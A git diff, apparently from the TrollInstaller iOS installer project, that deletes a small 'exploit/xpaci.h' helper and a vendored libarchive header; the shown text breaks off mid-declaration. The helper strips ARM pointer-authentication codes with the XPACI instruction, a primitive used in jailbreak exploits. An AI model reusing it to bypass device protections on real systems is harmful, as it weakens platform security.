b/Installer/TrollInstaller/TrollInstaller/exploit/xpaci.h deleted file mode 100644 index db896db..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/xpaci.h +++ /dev/null @@ -1,18 +0,0 @@ -// ptrauth.h replacement - -static uint64_t __attribute((naked)) __xpaci(uint64_t a) -{ - asm(".long 0xDAC143E0"); // XPACI X0 - asm("ret"); -} - -static uint64_t xpaci(uint64_t a) -{ - // If a looks like a non-pac'd pointer just return it - if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) - { - return a; - } - - return __xpaci(a); -} diff --git a/Installer/TrollInstaller/TrollInstaller/headers/archive.h b/Installer/TrollInstaller/TrollInstaller/headers/archive.h deleted file mode 100644 index 75629a8..0000000 --- a/Installer/TrollInstaller/TrollInstaller/headers/archive.h +++ /dev/null @@ -1,1210 +0,0 @@ -/*- - * Copyright (c) 2003-2010 Tim Kientzle - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - * - * $FreeBSD: src/lib/libarchive/archive.h.in,v 1.50 2008/05/26 17:00:22 kientzle Exp $ - */ - -#ifndef ARCHIVE_H_INCLUDED -#define ARCHIVE_H_INCLUDED - -/* - * The version number is expressed as a single integer that makes it - * easy to compare versions at build time: for version a.b.c, the - * version number is printf("%d%03d%03d",a,b,c). For example, if you - * know your application requires version 2.12.108 or later, you can - * assert that ARCHIVE_VERSION_NUMBER >= 2012108. - */ -/* Note: Compiler will complain if this does not match archive_entry.h! */ -#define ARCHIVE_VERSION_NUMBER 3006002 - -#include -#include /* for wchar_t */ -#include /* For FILE * */ -#include /* For time_t */ - -/* - * Note: archive.h is for use outside of libarchive; the configuration - * headers (config.h, archive_platform.h, etc.) are purely internal. - * Do NOT use HAVE_XXX configuration macros to control the behavior of - * this header! If you must conditionalize, use predefined compiler and/or - * platform macros. - */ -#if defined(__BORLANDC__) && __BORLANDC__ >= 0x560 -# include -#elif !defined(__WATCOMC__) && !defined(_MSC_VER) && !defined(__INTERIX) && !defined(__BORLANDC__) && !defined(_SCO_DS) && !defined(__osf__) && !defined(__CLANG_INTTYPES_H) -# include -#endif - -/* Get appropriate definitions of 64-bit integer */ -#if !defined(__LA_INT64_T_DEFINED) -/* Older code relied on the __LA_INT64_T macro; after 4.0 we'll switch to the typedef exclusively. */ -# if ARCHIVE_VERSION_NUMBER < 4000000 -#define __LA_INT64_T la_int64_t -# endif -#define __LA_INT64_T_DEFINED -# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__) -typedef __int64 la_int64_t; -# else -# include /* ssize_t */ -# if defined(_SCO_DS) || defined(__osf__) -typedef long long la_int64_t; -# else -typedef int64_t la_int64_t; -# endif -# endif -#endif - -/* The la_ssize_t should match the type used in 'struct stat' */ -#if !defined(__LA_SSIZE_T_DEFINED) -/* Older code relied on the __LA_SSIZE_T macro; after 4.0 we'll switch to the typedef exclusively. */ -# if ARCHIVE_VERSION_NUMBER < 4000000 -#define __LA_SSIZE_T la_ssize_t -# endif -#define __LA_SSIZE_T_DEFINED -# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__) -# if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_) -typedef ssize_t la_ssize_t; -# elif defined(_WIN64) -typedef __int64 la_ssize_t; -# else -typedef long la_ssize_t; -# endif -# else -# include /* ssize_t */ -typedef ssize_t la_ssize_t; -# endif -#endif - -/* Large file support for Android */ -#if defined(__LIBARCHIVE_BUILD) && defined(__ANDROID__) -#include "android_lf.h" -#endif - -/* - * On Windows, define LIBARCHIVE_STATIC if you're building or using a - * .lib. The default here assumes you're building a DLL. Only - * libarchive source should ever define __LIBARCHIVE_BUILD. - */ -#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC) -# ifdef __LIBARCHIVE_BUILD -# ifdef __GNUC__ -# define __LA_DECL __attribute__((dllexport)) extern -# else -# define __LA_DECL __declspec(dllexport) -# endif -# else -# ifdef __GNUC__ -# define __LA_DECL -# else -# define __LA_DECL __declspec(dllimport) -# endif -# endif -#else -/* Static libraries or non-Windows needs no special declaration. */ -# define __LA_DECL -#endif - -#if defined(__GNUC__) && __GNUC__ >= 3 && !defined(__MINGW32__) -#define __LA_PRINTF(fmtarg, firstvararg) \ - __attribute__((__format__ (__printf__, fmtarg, firstvararg))) -#else -#define __LA_PRINTF(fmtarg, firstvararg) /* nothing */ -#endif - -#if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1 -# define __LA_DEPRECATED __attribute__((deprecated)) -#else -# define __LA_DEPRECATED -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The version number is provided as both a macro and a function. - * The macro identifies the installed header; the function identifies - * the library version (which may not be the same if you're using a - * dynamically-linked version of the library). Of course, if the - * header and library are very different, you should expect some - * strangeness. Don't do that. - */ -__LA_DECL int archive_version_number(void); - -/* - * Textual name/version of the library, useful for version displays. - */ -#define ARCHIVE_VERSION_ONLY_STRING "3.6.2dev" -#define ARCHIVE_VERSION_STRING "libarchive " ARCHIVE_VERSION_ONLY_STRING -__LA_DECL const char * archive_version_string(void); - -/* - * Detailed textual name/version of the library and its dependencies. - * This has the form: - * "libarchive x.y.z zlib/a.b.c liblzma/d.e.f ... etc ..." - * the list of libraries described here will vary depending on how - * libarchive was compiled. - */ -__LA_DECL const char * archive_version_details(void); - -/* - * Returns NULL if libarchive was compiled without the associated library. - * Otherwise, returns the version number that libarchive was compiled - * against. - */ -__LA_DECL const char * archive_zlib_version(void); -__LA_DECL const char * archive_liblzma_version(void); -__LA_DECL const char * archive_bzlib_version(void); -__LA_DECL const char * archive_liblz4_version(void); -__LA_DECL const char * archive_libzstd_version(void); - -/* Declare our basic types. */ -struct archive; -struct archive_entry; - -/* - * Error codes: Use archive_errno() and archive_error_string() - * to retrieve details. Unless specified otherwise, all functions - * that return 'int' use these codes. - */ -#define ARCHIVE_EOF 1 /* Found end of archive. */ -#define ARCHIVE_OK 0 /* Operation was successful. */ -#define ARCHIVE_RETRY (-10) /* Retry might succeed. */ -#define ARCHIVE_WARN (-20) /* Partial success. */ -/* For example, if write_header "fails", then you can't push data. */ -#define ARCHIVE_FAILED (-25) /* Current operation cannot complete. */ -/* But if write_header is "fatal," then this archive is dead and useless. */ -#define ARCHIVE_FATAL (-30) /* No more operations are possible. */ - -/* - * As far as possible, archive_errno returns standard platform errno codes. - * Of course, the details vary by platform, so the actual definitions - * here are stored in "archive_platform.h". The symbols are listed here - * for reference; as a rule, clients should not need to know the exact - * platform-dependent error code. - */ -/* Unrecognized or invalid file format. */ -/* #define ARCHIVE_ERRNO_FILE_FORMAT */ -/* Illegal usage of the library. */ -/* #define ARCHIVE_ERRNO_PROGRAMMER_ERROR */ -/* Unknown or unclassified error. */ -/* #define ARCHIVE_ERRNO_MISC */ - -/* - * Callbacks are invoked to automatically read/skip/write/open/close the - * archive. You can provide your own for complex tasks (like breaking - * archives across multiple tapes) or use standard ones built into the - * library. - */ - -/* Returns pointer and size of next block of data from archive. */ -typedef la_ssize_t archive_read_callback(struct archive *, - void *_client_data, const void **_buffer); - -/* Skips at most request bytes from archive and returns the skipped amount. - * This may skip fewer bytes than requested; it may even skip zero bytes. - * If you do skip fewer bytes than requested, libarchive will invoke your - * read callback and discard data as necessary to make up the full skip. - */ -typedef la_int64_t archive_skip_callback(struct archive *, - void *_client_data, la_int64_t request); - -/* Seeks to specified location in the file and returns the position. - * Whence values are SEEK_SET, SEEK_CUR, SEEK_END from stdio.h. - * Return ARCHIVE_FATAL if the seek fails for any reason. - */ -typedef la_int64_t archive_seek_callback(struct archive *, - void *_client_data, la_int64_t offset, int whence); - -/* Returns size actually written, zero on EOF, -1 on error. */ -typedef la_ssize_t archive_write_callback(struct archive *, - void *_client_data, - const void *_buffer, size_t _length); - -typedef int archive_open_callback(struct archive *, void *_client_data); - -typedef int archive_close_callback(struct archive *, void *_client_data); - -typedef int archive_free_callback(struct archive *, void *_client_data); - -/* Switches from one client data object to the next/prev client data object. - * This is useful for reading from different data blocks such as a set of files - * that make up one large file. - */ -typedef int archive_switch_callback(struct archive *, void *_client_data1, - void *_client_data2); - -/* - * Returns a passphrase used for encryption or decryption, NULL on nothing - * to do and give it up. - */ -typedef const char *archive_passphrase_callback(struct archive *, - void *_client_data); - -/* - * Codes to identify various stream filters. - */ -#define ARCHIVE_FILTER_NONE 0 -#define ARCHIVE_FILTER_GZIP 1 -#define ARCHIVE_FILTER_BZIP2 2 -#define ARCHIVE_FILTER_COMPRESS 3 -#define ARCHIVE_FILTER_PROGRAM 4 -#define ARCHIVE_FILTER_LZMA 5 -#define ARCHIVE_FILTER_XZ 6 -#define ARCHIVE_FILTER_UU 7 -#define ARCHIVE_FILTER_RPM 8 -#define ARCHIVE_FILTER_LZIP 9 -#define ARCHIVE_FILTER_LRZIP 10 -#define ARCHIVE_FILTER_LZOP 11 -#define ARCHIVE_FILTER_GRZIP 12 -#define ARCHIVE_FILTER_LZ4 13 -#define ARCHIVE_FILTER_ZSTD 14 - -#if ARCHIVE_VERSION_NUMBER < 4000000 -#define ARCHIVE_COMPRESSION_NONE ARCHIVE_FILTER_NONE -#define ARCHIVE_COMPRESSION_GZIP ARCHIVE_FILTER_GZIP -#define ARCHIVE_COMPRESSION_BZIP2 ARCHIVE_FILTER_BZIP2 -#define ARCHIVE_COMPRESSION_COMPRESS ARCHIVE_FILTER_COMPRESS -#define ARCHIVE_COMPRESSION_PROGRAM ARCHIVE_FILTER_PROGRAM -#define ARCHIVE_COMPRESSION_LZMA ARCHIVE_FILTER_LZMA -#define ARCHIVE_COMPRESSION_XZ ARCHIVE_FILTER_XZ -#define ARCHIVE_COMPRESSION_UU ARCHIVE_FILTER_UU -#define ARCHIVE_COMPRESSION_RPM ARCHIVE_FILTER_RPM -#define ARCHIVE_COMPRESSION_LZIP ARCHIVE_FILTER_LZIP -#define ARCHIVE_COMPRESSION_LRZIP ARCHIVE_FILTER_LRZIP -#endif - -/* - * Codes returned by archive_format. - * - * Top 16 bits identifies the format family (e.g., "tar"); lower - * 16 bits indicate the variant. This is updated by read_next_header. - * Note that the lower 16 bits will often vary from entry to entry. - * In some cases, this variation occurs as libarchive learns more about - * the archive (for example, later entries might utilize extensions that - * weren't necessary earlier in the archive; in this case, libarchive - * will change the format code to indicate the extended format that - * was used). In other cases, it's because different tools have - * modified the archive and so different parts of the archive - * actually have slightly different formats. (Both tar and cpio store - * format codes in each entry, so it is quite possible for each - * entry to be in a different format.) - */ -#define ARCHIVE_FORMAT_BASE_MASK 0xff0000 -#define ARCHIVE_FORMAT_CPIO 0x10000 -#define ARCHIVE_FORMAT_CPIO_POSIX (ARCHIVE_FORMAT_CPIO | 1) -#define ARCHIVE_FORMAT_CPIO_BIN_LE (ARCHIVE_FORMAT_CPIO | 2) -#define ARCHIVE_FORMAT_CPIO_BIN_BE (ARCHIVE_FORMAT_CPIO | 3) -#define ARCHIVE_FORMAT_CPIO_SVR4_NOCRC (ARCHIVE_FORMAT_CPIO | 4) -#define ARCHIVE_FORMAT_CPIO_SVR4_CRC (ARCHIVE_FORMAT_CPIO | 5) -#define ARCHIVE_FORMAT_CPIO_AFIO_LARGE (ARCHIVE_FORMAT_CPIO | 6) -#define ARCHIVE_FORMAT_CPIO_PWB (ARCHIVE_FORMAT_CPIO | 7) -#define ARCHIVE_FORMAT_SHAR 0x20000 -#define ARCHIVE_FORMAT_SHAR_BASE (ARCHIVE_FORMAT_SHAR | 1) -#define ARCHIVE_FORMAT_SHAR_DUMP (ARCHIVE_FORMAT_SHAR | 2) -#define ARCHIVE_FORMAT_TAR 0x30000 -#define ARCHIVE_FORMAT_TAR_USTAR (ARCHIVE_FORMAT_TAR | 1) -#define ARCHIVE_FORMAT_TAR_PAX_INTERCHANGE (ARCHIVE_FORMAT_TAR | 2) -#define ARCHIVE_FORMAT_TAR_PAX_RESTRICTED (ARCHIVE_FORMAT_TAR | 3) -#define ARCHIVE_FORMAT_TAR_GNUTAR (ARCHIVE_FORMAT_TAR | 4) -#define ARCHIVE_FORMAT_ISO9660 0x40000 -#define ARCHIVE_FORMAT_ISO9660_ROCKRIDGE (ARCHIVE_FORMAT_ISO9660 | 1) -#define ARCHIVE_FORMAT_ZIP 0x50000 -#define ARCHIVE_FORMAT_EMPTY 0x60000 -#define ARCHIVE_FORMAT_AR 0x70000 -#define ARCHIVE_FORMAT_AR_GNU (ARCHIVE_FORMAT_AR | 1) -#define ARCHIVE_FORMAT_AR_BSD (ARCHIVE_FORMAT_AR | 2) -#define ARCHIVE_FORMAT_MTREE 0x80000 -#define ARCHIVE_FORMAT_RAW 0x90000 -#define ARCHIVE_FORMAT_XAR 0xA0000 -#define ARCHIVE_FORMAT_LHA 0xB0000 -#define ARCHIVE_FORMAT_CAB 0xC0000 -#define ARCHIVE_FORMAT_RAR 0xD0000 -#define ARCHIVE_FORMAT_7ZIP 0xE0000 -#define ARCHIVE_FORMAT_WARC 0xF0000 -#define ARCHIVE_FORMAT_RAR_V5 0x100000 - -/* - * Codes returned by archive_read_format_capabilities(). - * - * This list can be extended with values between 0 and 0xffff. - * The original purpose of this list was to let different archive - * format readers expose their general capabilities in terms of - * encryption. - */ -#define ARCHIVE_READ_FORMAT_CAPS_NONE (0) /* no special capabilities */ -#define ARCHIVE_READ_FORMAT_CAPS_ENCRYPT_DATA (1<<0) /* reader can detect encrypted data */ -#define ARCHIVE_READ_FORMAT_CAPS_ENCRYPT_METADATA (1<<1) /* reader can detect encryptable metadata (pathname, mtime, etc.) */ - -/* - * Codes returned by archive_read_has_encrypted_entries(). - * - * In case the archive does not support encryption detection at all - * ARCHIVE_READ_FORMAT_ENCRYPTION_UNSUPPORTED is returned. If the reader - * for some other reason (e.g. not enough bytes read) cannot say if - * there are encrypted entries, ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW - * is returned. - */ -#define ARCHIVE_READ_FORMAT_ENCRYPTION_UNSUPPORTED -2 -#define ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW -1 - -/*- - * Basic outline for reading an archive: - * 1) Ask archive_read_new for an archive reader object. - * 2) Update any global properties as appropriate. - * In particular, you'll certainly want to call appropriate - * archive_read_support_XXX functions. - * 3) Call archive_read_open_XXX to open the archive - * 4) Repeatedly call archive_read_next_header to get information about - * successive archive entries. Call archive_read_data to extract - * data for entries of interest. - * 5) Call archive_read_free to end processing. - */ -__LA_DECL struct archive *archive_read_new(void); - -/* - * The archive_read_support_XXX calls enable auto-detect for this - * archive handle. They also link in the necessary support code. - * For example, if you don't want bzlib linked in, don't invoke - * support_compression_bzip2(). The "all" functions provide the - * obvious shorthand. - */ - -#if ARCHIVE_VERSION_NUMBER < 4000000 -__LA_DECL int archive_read_support_compression_all(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_bzip2(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_compress(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_gzip(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_lzip(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_lzma(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_none(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_program(struct archive *, - const char *command) __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_program_signature - (struct archive *, const char *, - const void * /* match */, size_t) __LA_DEPRECATED; - -__LA_DECL int archive_read_support_compression_rpm(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_uu(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_read_support_compression_xz(struct archive *) - __LA_DEPRECATED; -#endif - -__LA_DECL int archive_read_support_filter_all(struct archive *); -__LA_DECL int archive_read_support_filter_by_code(struct archive *, int); -__LA_DECL int archive_read_support_filter_bzip2(struct archive *); -__LA_DECL int archive_read_support_filter_compress(struct archive *); -__LA_DECL int archive_read_support_filter_gzip(struct archive *); -__LA_DECL int archive_read_support_filter_grzip(struct archive *); -__LA_DECL int archive_read_support_filter_lrzip(struct archive *); -__LA_DECL int archive_read_support_filter_lz4(struct archive *); -__LA_DECL int archive_read_support_filter_lzip(struct archive *); -__LA_DECL int archive_read_support_filter_lzma(struct archive *); -__LA_DECL int archive_read_support_filter_lzop(struct archive *); -__LA_DECL int archive_read_support_filter_none(struct archive *); -__LA_DECL int archive_read_support_filter_program(struct archive *, - const char *command); -__LA_DECL int archive_read_support_filter_program_signature - (struct archive *, const char * /* cmd */, - const void * /* match */, size_t); -__LA_DECL int archive_read_support_filter_rpm(struct archive *); -__LA_DECL int archive_read_support_filter_uu(struct archive *); -__LA_DECL int archive_read_support_filter_xz(struct archive *); -__LA_DECL int archive_read_support_filter_zstd(struct archive *); - -__LA_DECL int archive_read_support_format_7zip(struct archive *); -__LA_DECL int archive_read_support_format_all(struct archive *); -__LA_DECL int archive_read_support_format_ar(struct archive *); -__LA_DECL int archive_read_support_format_by_code(struct archive *, int); -__LA_DECL int archive_read_support_format_cab(struct archive *); -__LA_DECL int archive_read_support_format_cpio(struct archive *); -__LA_DECL int archive_read_support_format_empty(struct archive *); -__LA_DECL int archive_read_support_format_gnutar(struct archive *); -__LA_DECL int archive_read_support_format_iso9660(struct archive *); -__LA_DECL int archive_read_support_format_lha(struct archive *); -__LA_DECL int archive_read_support_format_mtree(struct archive *); -__LA_DECL int archive_read_support_format_rar(struct archive *); -__LA_DECL int archive_read_support_format_rar5(struct archive *); -__LA_DECL int archive_read_support_format_raw(struct archive *); -__LA_DECL int archive_read_support_format_tar(struct archive *); -__LA_DECL int archive_read_support_format_warc(struct archive *); -__LA_DECL int archive_read_support_format_xar(struct archive *); -/* archive_read_support_format_zip() enables both streamable and seekable - * zip readers. */ -__LA_DECL int archive_read_support_format_zip(struct archive *); -/* Reads Zip archives as stream from beginning to end. Doesn't - * correctly handle SFX ZIP files or ZIP archives that have been modified - * in-place. */ -__LA_DECL int archive_read_support_format_zip_streamable(struct archive *); -/* Reads starting from central directory; requires seekable input. */ -__LA_DECL int archive_read_support_format_zip_seekable(struct archive *); - -/* Functions to manually set the format and filters to be used. This is - * useful to bypass the bidding process when the format and filters to use - * is known in advance. - */ -__LA_DECL int archive_read_set_format(struct archive *, int); -__LA_DECL int archive_read_append_filter(struct archive *, int); -__LA_DECL int archive_read_append_filter_program(struct archive *, - const char *); -__LA_DECL int archive_read_append_filter_program_signature - (struct archive *, const char *, const void * /* match */, size_t); - -/* Set various callbacks. */ -__LA_DECL int archive_read_set_open_callback(struct archive *, - archive_open_callback *); -__LA_DECL int archive_read_set_read_callback(struct archive *, - archive_read_callback *); -__LA_DECL int archive_read_set_seek_callback(struct archive *, - archive_seek_callback *); -__LA_DECL int archive_read_set_skip_callback(struct archive *, - archive_skip_callback *); -__LA_DECL int archive_read_set_close_callback(struct archive *, - archive_close_callback *); -/* Callback used to switch between one data object to the next */ -__LA_DECL int archive_read_set_switch_callback(struct archive *, - archive_switch_callback *); - -/* This sets the first data object. */ -__LA_DECL int archive_read_set_callback_data(struct archive *, void *); -/* This sets data object at specified index */ -__LA_DECL int archive_read_set_callback_data2(struct archive *, void *, - unsigned int); -/* This adds a data object at the specified index. */ -__LA_DECL int archive_read_add_callback_data(struct archive *, void *, - unsigned int); -/* This appends a data object to the end of list */ -__LA_DECL int archive_read_append_callback_data(struct archive *, void *); -/* This prepends a data object to the beginning of list */ -__LA_DECL int archive_read_prepend_callback_data(struct archive *, void *); - -/* Opening freezes the callbacks. */ -__LA_DECL int archive_read_open1(struct archive *); - -/* Convenience wrappers around the above. */ -__LA_DECL int archive_read_open(struct archive *, void *_client_data, - archive_open_callback *, archive_read_callback *, - archive_close_callback *); -__LA_DECL int archive_read_open2(struct archive *, void *_client_data, - archive_open_callback *, archive_read_callback *, - archive_skip_callback *, archive_close_callback *); - -/* - * A variety of shortcuts that invoke archive_read_open() with - * canned callbacks suitable for common situations. The ones that - * accept a block size handle tape blocking correctly. - */ -/* Use this if you know the filename. Note: NULL indicates stdin. */ -__LA_DECL int archive_read_open_filename(struct archive *, - const char *_filename, size_t _block_size); -/* Use this for reading multivolume files by filenames. - * NOTE: Must be NULL terminated. Sorting is NOT done. */ -__LA_DECL int archive_read_open_filenames(struct archive *, - const char **_filenames, size_t _block_size); -__LA_DECL int archive_read_open_filename_w(struct archive *, - const wchar_t *_filename, size_t _block_size); -/* archive_read_open_file() is a deprecated synonym for ..._open_filename(). */ -__LA_DECL int archive_read_open_file(struct archive *, - const char *_filename, size_t _block_size) __LA_DEPRECATED; -/* Read an archive that's stored in memory. */ -__LA_DECL int archive_read_open_memory(struct archive *, - const void * buff, size_t size); -/* A more involved version that is only used for internal testing. */ -__LA_DECL int archive_read_open_memory2(struct archive *a, const void *buff, - size_t size, size_t read_size); -/* Read an archive that's already open, using the file descriptor. */ -__LA_DECL int archive_read_open_fd(struct archive *, int _fd, - size_t _block_size); -/* Read an archive that's already open, using a FILE *. */ -/* Note: DO NOT use this with tape drives. */ -__LA_DECL int archive_read_open_FILE(struct archive *, FILE *_file); - -/* Parses and returns next entry header. */ -__LA_DECL int archive_read_next_header(struct archive *, - struct archive_entry **); - -/* Parses and returns next entry header using the archive_entry passed in */ -__LA_DECL int archive_read_next_header2(struct archive *, - struct archive_entry *); - -/* - * Retrieve the byte offset in UNCOMPRESSED data where last-read - * header started. - */ -__LA_DECL la_int64_t archive_read_header_position(struct archive *); - -/* - * Returns 1 if the archive contains at least one encrypted entry. - * If the archive format not support encryption at all - * ARCHIVE_READ_FORMAT_ENCRYPTION_UNSUPPORTED is returned. - * If for any other reason (e.g. not enough data read so far) - * we cannot say whether there are encrypted entries, then - * ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW is returned. - * In general, this function will return values below zero when the - * reader is uncertain or totally incapable of encryption support. - * When this function returns 0 you can be sure that the reader - * supports encryption detection but no encrypted entries have - * been found yet. - * - * NOTE: If the metadata/header of an archive is also encrypted, you - * cannot rely on the number of encrypted entries. That is why this - * function does not return the number of encrypted entries but# - * just shows that there are some. - */ -__LA_DECL int archive_read_has_encrypted_entries(struct archive *); - -/* - * Returns a bitmask of capabilities that are supported by the archive format reader. - * If the reader has no special capabilities, ARCHIVE_READ_FORMAT_CAPS_NONE is returned. - */ -__LA_DECL int archive_read_format_capabilities(struct archive *); - -/* Read data from the body of an entry. Similar to read(2). */ -__LA_DECL la_ssize_t archive_read_data(struct archive *, - void *, size_t); - -/* Seek within the body of an entry. Similar to lseek(2). */ -__LA_DECL la_int64_t archive_seek_data(struct archive *, la_int64_t, int); - -/* - * A zero-copy version of archive_read_data that also exposes the file offset - * of each returned block. Note that the client has no way to specify - * the desired size of the block. The API does guarantee that offsets will - * be strictly increasing and that returned blocks will not overlap. - */ -__LA_DECL int archive_read_data_block(struct archive *a, - const void **buff, size_t *size, la_int64_t *offset); - -/*- - * Some convenience functions that are built on archive_read_data: - * 'skip': skips entire entry - * 'into_buffer': writes data into memory buffer that you provide - * 'into_fd': writes data to specified filedes - */ -__LA_DECL int archive_read_data_skip(struct archive *); -__LA_DECL int archive_read_data_into_fd(struct archive *, int fd); - -/* - * Set read options. - */ -/* Apply option to the format only. */ -__LA_DECL int archive_read_set_format_option(struct archive *_a, - const char *m, const char *o, - const char *v); -/* Apply option to the filter only. */ -__LA_DECL int archive_read_set_filter_option(struct archive *_a, - const char *m, const char *o, - const char *v); -/* Apply option to both the format and the filter. */ -__LA_DECL int archive_read_set_option(struct archive *_a, - const char *m, const char *o, - const char *v); -/* Apply option string to both the format and the filter. */ -__LA_DECL int archive_read_set_options(struct archive *_a, - const char *opts); - -/* - * Add a decryption passphrase. - */ -__LA_DECL int archive_read_add_passphrase(struct archive *, const char *); -__LA_DECL int archive_read_set_passphrase_callback(struct archive *, - void *client_data, archive_passphrase_callback *); - - -/*- - * Convenience function to recreate the current entry (whose header - * has just been read) on disk. - * - * This does quite a bit more than just copy data to disk. It also: - * - Creates intermediate directories as required. - * - Manages directory permissions: non-writable directories will - * be initially created with write permission enabled; when the - * archive is closed, dir permissions are edited to the values specified - * in the archive. - * - Checks hardlinks: hardlinks will not be extracted unless the - * linked-to file was also extracted within the same session. (TODO) - */ - -/* The "flags" argument selects optional behavior, 'OR' the flags you want. */ - -/* Default: Do not try to set owner/group. */ -#define ARCHIVE_EXTRACT_OWNER (0x0001) -/* Default: Do obey umask, do not restore SUID/SGID/SVTX bits. */ -#define ARCHIVE_EXTRACT_PERM (0x0002) -/* Default: Do not restore mtime/atime. */ -#define ARCHIVE_EXTRACT_TIME (0x0004) -/* Default: Replace existing files. */ -#define ARCHIVE_EXTRACT_NO_OVERWRITE (0x0008) -/* Default: Try create first, unlink only if create fails with EEXIST. */ -#define ARCHIVE_EXTRACT_UNLINK (0x0010) -/* Default: Do not restore ACLs. */ -#define ARCHIVE_EXTRACT_ACL (0x0020) -/* Default: Do not restore fflags. */ -#define ARCHIVE_EXTRACT_FFLAGS (0x0040) -/* Default: Do not restore xattrs. */ -#define ARCHIVE_EXTRACT_XATTR (0x0080) -/* Default: Do not try to guard against extracts redirected by symlinks. */ -/* Note: With ARCHIVE_EXTRACT_UNLINK, will remove any intermediate symlink. */ -#define ARCHIVE_EXTRACT_SECURE_SYMLINKS (0x0100) -/* Default: Do not reject entries with '..' as path elements. */ -#define ARCHIVE_EXTRACT_SECURE_NODOTDOT (0x0200) -/* Default: Create parent directories as needed. */ -#define ARCHIVE_EXTRACT_NO_AUTODIR (0x0400) -/* Default: Overwrite files, even if one on disk is newer. */ -#define ARCHIVE_EXTRACT_NO_OVERWRITE_NEWER (0x0800) -/* Detect blocks of 0 and write holes instead. */ -#define ARCHIVE_EXTRACT_SPARSE (0x1000) -/* Default: Do not restore Mac extended metadata. */ -/* This has no effect except on Mac OS. */ -#define ARCHIVE_EXTRACT_MAC_METADATA (0x2000) -/* Default: Use HFS+ compression if it was compressed. */ -/* This has no effect except on Mac OS v10.6 or later. */ -#define ARCHIVE_EXTRACT_NO_HFS_COMPRESSION (0x4000) -/* Default: Do not use HFS+ compression if it was not compressed. */ -/* This has no effect except on Mac OS v10.6 or later. */ -#define ARCHIVE_EXTRACT_HFS_COMPRESSION_FORCED (0x8000) -/* Default: Do not reject entries with absolute paths */ -#define ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS (0x10000) -/* Default: Do not clear no-change flags when unlinking object */ -#define ARCHIVE_EXTRACT_CLEAR_NOCHANGE_FFLAGS (0x20000) -/* Default: Do not extract atomically (using rename) */ -#define ARCHIVE_EXTRACT_SAFE_WRITES (0x40000) - -__LA_DECL int archive_read_extract(struct archive *, struct archive_entry *, - int flags); -__LA_DECL int archive_read_extract2(struct archive *, struct archive_entry *, - struct archive * /* dest */); -__LA_DECL void archive_read_extract_set_progress_callback(struct archive *, - void (*_progress_func)(void *), void *_user_data); - -/* Record the dev/ino of a file that will not be written. This is - * generally set to the dev/ino of the archive being read. */ -__LA_DECL void archive_read_extract_set_skip_file(struct archive *, - la_int64_t, la_int64_t); - -/* Close the file and release most resources. */ -__LA_DECL int archive_read_close(struct archive *); -/* Release all resources and destroy the object. */ -/* Note that archive_read_free will call archive_read_close for you. */ -__LA_DECL int archive_read_free(struct archive *); -#if ARCHIVE_VERSION_NUMBER < 4000000 -/* Synonym for archive_read_free() for backwards compatibility. */ -__LA_DECL int archive_read_finish(struct archive *) __LA_DEPRECATED; -#endif - -/*- - * To create an archive: - * 1) Ask archive_write_new for an archive writer object. - * 2) Set any global properties. In particular, you should set - * the compression and format to use. - * 3) Call archive_write_open to open the file (most people - * will use archive_write_open_file or archive_write_open_fd, - * which provide convenient canned I/O callbacks for you). - * 4) For each entry: - * - construct an appropriate struct archive_entry structure - * - archive_write_header to write the header - * - archive_write_data to write the entry data - * 5) archive_write_close to close the output - * 6) archive_write_free to cleanup the writer and release resources - */ -__LA_DECL struct archive *archive_write_new(void); -__LA_DECL int archive_write_set_bytes_per_block(struct archive *, - int bytes_per_block); -__LA_DECL int archive_write_get_bytes_per_block(struct archive *); -/* XXX This is badly misnamed; suggestions appreciated. XXX */ -__LA_DECL int archive_write_set_bytes_in_last_block(struct archive *, - int bytes_in_last_block); -__LA_DECL int archive_write_get_bytes_in_last_block(struct archive *); - -/* The dev/ino of a file that won't be archived. This is used - * to avoid recursively adding an archive to itself. */ -__LA_DECL 